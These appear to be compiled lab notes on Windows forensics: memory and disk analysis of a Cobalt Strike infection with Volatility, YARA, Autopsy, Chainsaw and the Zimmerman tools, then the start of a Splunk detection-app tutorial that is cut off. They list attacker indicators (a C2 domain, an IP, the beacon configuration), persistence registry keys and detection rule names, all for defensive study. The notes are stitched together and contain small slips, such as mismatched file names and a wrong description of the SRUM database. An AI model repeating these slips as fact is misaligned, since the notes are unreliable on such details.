{C:\\Users\\johndoe\\Desktop\\yara-4.3.2-2150-win64\\yara64.exe C:\\Users\\johndoe\\Desktop\\yara-4.3.2-2150-win64\\rules\\$($rule.Name) C:\\Users\\johndoe\\Desktop\\pid.3648.dmp} ``` Sample output indicates hits for: - `HKTL_CobaltStrike_Beacon_Strings` - `CobaltStrike_Sleep_Decoder_Indicator` - `WiltedTulip_ReflectiveLoader` **Identifying Loaded DLLs** Examine loaded DLLs using the `windows.dlllist` plugin: ``` python vol.py -q -f ../memdump/PhysicalMemory.raw windows.dlllist --pid 3648 ``` Output includes: - `payload.dll` at `E:\\payload.dll`, suggesting possible external or ISO origin. **Identifying Handles** Use `windows.handles` to reveal accessed files and registry entries: ``` python vol.py -q -f ../memdump/PhysicalMemory.raw windows.handles --pid 3648 ``` Sample output: - Access to `\\Device\\HarddiskVolume3\\Users\\johndoe\\Desktop` **Identifying Network Artifacts** Analyze network connections with `windows.netstat`: ``` python vol.py -q -f ../memdump/PhysicalMemory.raw windows.netstat ``` Sample output reveals connections for: - `chrome.exe`, `WWAHost.exe`, and `rundll32.exe` For comprehensive network analysis, use: ``` python vol.py -q -f ../memdump/PhysicalMemory.raw windows.netscan ``` Sample output reveals: - The suspicious process (PID `3648`) has been communicating with `44.214.212.249` over port `80`. --- **Disk Image/Rapid Triage Data Examination & Analysis** **Searching for Keywords with Autopsy** - Open Autopsy and access the case at: `C:\\Users\\johndoe\\Desktop\\MalwareAttack` - Search for `payload.dll`, prioritize by creation time. - Significant finding: `Finance08062023.iso` in Downloads, related to `E` drive DLL. - Extraction: Right-click on `Finance08062023.iso` and select **Extract File(s)**. **Identifying Web Download Information & Extracting Files** - `.Zone.Identifier` via Alternate Data Stream (ADS) confirms internet origin. - Source URL identified in Web Downloads artifacts as: `letsgohunt[.]site`. **Analyzing Cobalt Strike Beacon Configuration** - Use `CobaltStrikeParser` at: `C:\\Users\\johndoe\\Desktop\\CobaltStrikeParser-master\\CobaltStrikeParser-master` - Command: `python parse_beacon_config.py E:\\payload.dll` - Key Configurations Extracted: - **BeaconType**: HTTP, **Port**: 80, **C2Server**: letsgohunt.site,/load - Other notable fields: `HttpGet_Metadata`, `bUsesCookies`, `Spawnto_x64`. **Persistence Mechanisms with Autoruns** - Autoruns analysis: Check `C:\\Users\\johndoe\\Desktop\\files\\johndoe_autoruns.arn` - Found entry: - Path: `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run` - Image: `C:\\ProgramData\\svchost.exe` **File Hash Identification & VirusTotal** - To identify hash of `photo433.exe`: ``` PS C:\\Users\\johndoe> Get-FileHash -Algorithm SHA256 "C:\\Users\\johndoe\\Desktop\\kapefiles\\auto\\C%3A\\Users\\johndoe\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\photo443.exe" ``` **Scheduled Tasks & Timestomping Analysis** - Inconsistency between `$FILE_NAME MFT Modified` and `$STANDARD_INFORMATION File Modified` timestamps indicates timestomping. **SRUM Data Analysis** - Observed potential exfiltration of `430526981` bytes from `SRUDB.dat`. **Windows Event Logs Analysis with Chainsaw** - Command: ``` C:\\Users\\johndoe>chainsaw_x86_64-pc-windows-msvc.exe hunt "..\\kapefiles\\auto\\C%3A\\Windows\\System32\\winevt\\Logs" -s sigma/ --mapping mappings/sigma-event-logs-all.yml -r rules/ --csv --output output_csv ``` - Alerts observed in `sigma.csv`: - **Cobalt Strike Load by rundll32** - **UAC Bypass/Privilege Escalation by fodhelper.exe** **Prefetch Files Analysis** - Command to analyze prefetch files: ``` C:\\Users\\johndoe>C:\\Users\\johndoe\\Desktop\\Get-ZimmermanTools\\net6\\PECmd.exe -d "C:\\Users\\johndoe\\Desktop\\kapefiles\\auto\\C%3A\\Windows\\Prefetch" -q --csv C:\\Users\\johndoe\\Desktop --csvf suspect_prefetch.csv ``` **USN Journal Analysis** - Command: ``` C:\\Users\\johndoe>python C:\\Users\\johndoe\\Desktop\\files\\USN-Journal-Parser-master\\usnparser\\usn.py -f C:\\Users\\johndoe\\Desktop\\kapefiles\\ntfs\\%5C%5C.%5CC%3A\\$Extend\\$UsnJrnl:$J -o C:\\Users\\johndoe\\Desktop\\usn_output.csv -c ``` Suspicious activities took place approximately between `2023-08-10 09:00:00` and `2023-08-10 10:00:00`. To view the CSV using PowerShell in alignment with our timeline, we can execute: ``` PS C:\\Users\\johndoe> $time1 = [DateTime]::ParseExact("2023-08-10 09:00:00.000000", "yyyy-MM-dd HH:mm:ss.ffffff", $null) PS C:\\Users\\johndoe> $time2 = [DateTime]::ParseExact("2023-08-10 10:00:00.000000", "yyyy-MM-dd HH:mm:ss.ffffff", $null) PS C:\\Users\\johndoe> Import-Csv -Path C:\\Users\\johndoe\\Desktop\\usn_output.csv | Where-Object { $_.'FileName' -match '\\.exe$|\\.txt$|\\.msi$|\\.bat$|\\.ps1$|\\.iso$|\\.lnk$' } | Where-Object { $_.timestamp -as [DateTime] -ge $time1 -and $_.timestamp -as [DateTime] -lt $time2 } ``` --- Here's the full markdown for the content provided, formatted for clarity and utility in digital forensic analysis: --- **Disk Image/Rapid Triage Data Examination & Analysis** **Analyzing Rapid Triage Data - MFT/pagefile.sys (MFTECmd/Autopsy)** **Recovering Deleted Files Using MFT Analysis** 1. **Objective**: Attempt to recover `flag.txt` via MFT analysis. - **Challenge**: The affected machine's MFT table is unavailable. - **Alternative**: Use another system’s MFT table (`C:\\Users\\johndoe\\Desktop\\files\\mft_data`), where `flag.txt` was similarly deleted. 2. **Run MFTECmd** to parse the $MFT file: ``` C:\\Users\\johndoe> C:\\Users\\johndoe\\Desktop\\Get-ZimmermanTools\\net6\\MFTECmd.exe -f C:\\Users\\johndoe\\Desktop\\files\\mft_data --csv C:\\Users\\johndoe\\Desktop\\ --csvf mft_csv.csv ``` - **Output**: - Processed MFT file with **113,899** records (4,009 marked as free). - **CSV output** saved at `C:\\Users\\johndoe\\Desktop\\mft_csv.csv`. 3. **Search for flag.txt**: ``` PS C:\\Users\\johndoe> Select-String -Path C:\\Users\\johndoe\\Desktop\\mft_csv.csv -Pattern "flag.txt" ``` - **Result**: - Provides `flag.txt`'s location: `\\Users\\johndoe\\Desktop\\reports`. 4. **Verify with MFT Explorer**: - **Tool**: Open `C:\\Users\\johndoe\\Desktop\\files\\mft_data` in MFT Explorer (available at `C:\\Users\\johndoe\\Desktop\\Get-ZimmermanTools\\net6\\MFTExplorer`). - **Finding**: Within the `reports` folder, `flag.txt` is marked with the **Is deleted** attribute. **Understanding NTFS File Deletion** - **Insight**: - Deleted files on NTFS volumes have MFT entries marked as free, making recovery possible until the data is overwritten. - **Case-Specific**: The compromised system’s file was overwritten, necessitating MFT analysis on another system. **Extracting Data from pagefile.sys** 1. **Scenario**: Portions of `flag.txt` remain in `pagefile.sys`, which Windows uses to manage RAM overflow. 2. **Approach**: - Use **Autopsy** to scan `pagefile.sys` for partial content recovery. **Constructing an Execution Timeline with Autopsy** 1. **Timeline Parameters**: - **Incident Window**: 09:13 to 09:30 (GMT / UTC). - **Tool**: Autopsy, leveraging Plaso for timeline generation. 2. **Configuration**: - **Event Types**: Select `Web Activity: All` and `Other: All`. - **Time Settings**: - Start: `Aug 10, 2023, 9:13:00 AM` - End: `Aug 10, 2023, 9:30:00 AM` 3. **Purpose**: - To map the chronological actions of the malicious actor by filtering files accessed or created during this interval. **The Actual Attack Timeline** - **Objective**: Examine identified and undetected actions taken by the attacker. - **Next Step**: Based on forensic findings, try to match documented activity with any undetected actions outlined in the actual attack sequence. #### **Rapid Triage Examination & Analysis Tools** **Download and Setup** - Use the `.net 4` or `.net 6` link on the website for downloads. - Alternatively, utilize PowerShell: ``` PS C:\\Users\\johndoe\\Desktop\\Get-ZimmermanTools> .\\Get-ZimmermanTools.ps1 ``` - Downloads all tools to `C:\\htb\\dfir_module\\tools`. - Tracks SHA-1 for easy updates. **MAC(b) Times in NTFS** **MAC(b)** times track file system events: - **Modified Time (M)**: Last content modification. - **Accessed Time (A)**: Last access time. - **Changed (C)**: Reflects MFT changes. - **Birth Time (b)**: Original creation time. **Example Commands** - **MFTECmd to Inspect $MFT Files**: ``` PS C:\\Users\\johndoe\\Desktop\\Get-ZimmermanTools\\net6> .\\MFTECmd.exe -f 'C:\\Users\\johndoe\\Desktop\\forensic_data\\kape_output\\D\\$MFT' --de 0x16169 ``` **Investigation Tools Overview** **MFT File Structure** - Master File Table (MFT) is crucial in tracking files on NTFS. - **Attributes in MFT** include `$STANDARD_INFORMATION` and `$FILE_NAME`. **Windows Event Logs** - **EvtxECmd** for parsing EVTX logs to CSV or JSON: ``` PS C:\\Users\\johndoe\\Desktop\\Get-ZimmermanTools\\net6\\EvtxeCmd> .\\EvtxECmd.exe -f "path\\to\\log.evtx" --csv "output_path" ``` - **Event Query Language (EQL)** for querying JSON-formatted logs. **Windows Registry Analysis** - **RegRipper** extracts specific data via plugins: ``` PS C:\\Users\\johndoe\\Desktop\\RegRipper3.0-master> .\\rip.exe -r "C:\\path\\to\\hive" -p plugin_name ``` - **Registry Explorer** provides GUI access. **Program Execution Artifacts** 1. **Prefetch Analysis** with **PECmd**: ``` PS C:\\Users\\johndoe\\Desktop\\Get-ZimmermanTools\\net6> .\\PECmd.exe -f C:\\path\\to\\prefetch_file.pf ``` 2. **ShimCache and Amcache**: Access with Registry Explorer for program history. **Advanced Analysis** - **PowerShell Transcripts**: Review unusual PowerShell commands. - **API Monitoring**: `getenv`, `CreateProcessA`, and `RegOpenKeyExA` show interaction details. **Key Commands for Forensic Analysis** **PowerShell Commands** - Check network-related commands, encoded commands, and unusual modules. **Other Important Scripts and Commands** - **EQL JSON format creation**: ``` PS C:\\Users\\eqllib-master\\utils> Get-WinEvent -Path "log_path" -Oldest | Get-EventProps | ConvertTo-Json ``` #### **Windows Forensics Overview** **NTFS (New Technology File System)** NTFS is Microsoft’s file system, known for features that enhance performance, security, and data integrity. Key forensic artifacts include: - **File Metadata**: Stores timestamps and file attributes, aiding in timeline analysis. - **MFT Entries**: The Master File Table tracks metadata for all files, providing details even on deleted files. - **File Slack and Unallocated Space**: Contains remnants of deleted files. - **File Signatures**: Used to identify files even if extensions are altered. - **USN Journal**: Logs file changes, supporting investigations into modifications. - **LNK Files**: Shortcuts that reveal file and program access history. - **Prefetch Files**: Indicate which programs were recently executed. - **Registry Hives**: Record system configurations and can reveal traces of unauthorized modifications. - **Shellbags**: Track folder navigation, highlighting accessed directories. - **Thumbnail Cache**: Stores previews of recently viewed images and documents. - **Recycle Bin**: Retains deleted files, providing insight into user actions. - **Alternate Data Streams (ADS)**: Hidden data associated with files, sometimes exploited by malware. - **Volume Shadow Copies**: Snapshots of the file system for data recovery. - **Security Descriptors and ACLs**: Store file permissions, useful for analyzing access rights and security breaches. **Windows Event Logs** Windows Event Logs record system and application events, capturing a range of user and system activities. Located at `C:\\Windows\\System32\\winevt\\logs`, these logs help detect: - **System Errors**: Issues with the OS or applications. - **Security Events**: Authentication attempts, policy changes, and access controls. - **Application Events**: Logs from specific software, often useful in identifying exploitation attempts. **Execution Artifacts** Execution artifacts document traces of program and script executions, providing insight into user actions and malware activities. Notable artifacts include: - **Prefetch Files**: Track execution metadata (file paths, execution counts). - **Shimcache**: Records program execution for compatibility; useful for identifying recent activity. - **Amcache**: Stores executable details (file paths, digital signatures, last execution). - **UserAssist**: Tracks user-executed applications, showing names, counts, and timestamps. - **RunMRU Lists**: Logs recently executed commands and programs. - **Jump Lists**: Document recent files and tasks associated with applications. - **Shortcut (LNK) Files**: Provide executable paths, timestamps, and user interactions. - **Recent Items**: Tracks recently accessed files. - **Windows Event Logs**: Logs events tied to process creation and termination. | **Artifact** | **Location / Registry Key** | **Data Stored** | |---|---|---| | Prefetch Files | `C:\\Windows\\Prefetch` | Metadata on executed applications | | Shimcache | `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\...AppCompatCache` | Program paths, timestamps | | Amcache | `C:\\Windows\\AppCompat\\Programs\\Amcache.hve` | Executable details | | UserAssist | `HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\...UserAssist` | Application names, execution counts | | RunMRU Lists | `HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\...RunMRU` | Recently executed commands | | Jump Lists | `%AppData%\\Microsoft\\Windows\\Recent` | Recently accessed files | | Windows Event Logs | `C:\\Windows\\System32\\winevt\\Logs` | Logs of process events, creation, and termination | **Windows Persistence Artifacts** Persistence methods enable attackers to retain access to a system. These methods exploit system components like registry keys, scheduled tasks, and services. **Registry Keys for Persistence** - **Run/RunOnce**: - `HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` - `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run` - **WinLogon Keys**: - `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon` - **Startup Keys**: - `HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders` **Scheduled Tasks (Schtasks)** Scheduled tasks in `C:\\Windows\\System32\\Tasks` are stored as XML files, detailing task schedules and commands. These files should be reviewed for rogue or suspicious entries. **Services** Windows services run processes in the background. Malicious actors may create or alter services to maintain persistence. The registry key for services is: `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services`. **Web Browser Forensics** Web browser analysis can reveal browsing habits, user interactions, and potentially harmful actions. Key artifacts include: - **Browsing History**: Tracks sites visited, timestamps, and frequency. - **Cookies**: Stores session details, preferences, and authentication data. - **Cache**: Contains cached web pages and images, showing accessed sites even if history is cleared. - **Bookmarks**: Indicates frequently accessed pages. - **Download History**: Lists downloaded files, source URLs, and timestamps. - **Autofill Data**: Stores data for forms (e.g., names, addresses). - **Session Data**: Tracks active sessions, tabs, and open windows. - **Extensions and Add-ons**: List of installed extensions and their configurations. **SRUM (System Resource Usage Monitor)** Introduced in Windows 8, SRUM tracks application and resource usage. Located in `C:\\Windows\\System32\\sru\\sru.db`, this SQLite database records application profiles and resource usage, aiding in: - **Application Profiling**: Shows executed applications and their paths. - **Resource Consumption**: Logs CPU, network, and memory usage. - **Timeline Reconstruction**: Builds a timeline of application use and system events. - **User and System Context**: Ties activities to specific users, helping in identifying threat actors. - **Malware Detection**: Tracks unusual application or resource patterns, which may indicate malware. - **Incident Response**: Provides rapid insights into recent activities for quick threat response. **13. Detecting Windows Attacks with Splunk** #### **Creating Custom Splunk Applications** **1. Creating a Custom Splunk Application** **Step 1: Access Splunk Web** - Open your web browser and log in to Splunk Web. **Step 2: Go to Manage Apps** - Navigate to the **Apps** menu at the top of the page, then select **Manage Apps**. **Step 3: Create a New App** 1. On the Apps page, click **Create app**. 2. Complete the following fields: - **Name**: Enter the app name, e.g., `Active Directory Attack Detection`. - **Folder name**: This should be similar to the app name, e.g., `AD_Attack_Detection`. This folder will be created under `$SPLUNK_HOME/etc/apps/`. - **Version**: Enter the initial version, e.g., `1.0.0`. - **Description**: Add a brief description, e.g., `Application for detecting Active Directory attacks`. - **Template**: Choose `barebones` from the dropdown. 3. Click **Save** to create the app. Your new app should now appear under **Apps**. --- **2. Understanding the Directory Structure** After creating the app, navigate to `$SPLUNK_HOME/etc/apps/AD_Attack_Detection`. Inside, you’ll find directories, each serving a specific purpose: - `/bin`: Store custom scripts here. - `/default`: Store default configuration files, views, dashboards, and navigation. - `/local`: Store user-modified configurations for views, dashboards, and navigation. - `/metadata`: Contains permission files. --- **3. Editing the Navigation File** 1. Open the file `$SPLUNK_HOME/etc/apps/AD_Attack_Detection/default/data/ui/nav/default.xml` in a text editor. 2. The XML structure defines app navigation, with each `